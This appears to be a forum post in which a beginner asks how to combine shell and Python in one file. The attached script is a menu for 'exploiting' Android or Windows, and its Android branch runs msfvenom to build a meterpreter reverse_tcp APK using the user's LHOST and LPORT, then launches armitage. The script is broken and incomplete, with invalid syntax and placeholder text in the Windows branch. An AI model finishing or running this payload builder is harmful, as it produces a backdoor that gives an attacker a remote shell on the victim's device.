I was wondering how can I combine sh and py code in one file and then execute it. What format should I save it in and commands for executing it?
Here is an example script I have written have a look at it and tell me the modifications to it
#test
Print("hello welcome to test")
print("to exploit android enter 1")
print("to exploit windows enter 2")
user_response = input(">")
if user_response == 1:
    print("you have seclected android")
    lhost = input("Please type in ur ip adress > ")
    lport = input("Please type in ur recommended port to use > ")
    print("the apk installable is placed on ur desktop")
    print("we are using reverse_tcp")
    print("the LHOST is",lhost)
    print("the LPORT is",lport)
    !msfvenom -p android/meterpreter/reverse_tcp LHOST=(how do i add lhost) LPORT=(how do i add lport) R> /root/Desktop
    print("the apk is located in ur Desktop")
    !service postgresql start
    !armitage
elif user_response == 2:
    bla ..
    bla .. 
    bla ..
    testing bla bla bla
 
     
     
     
     
    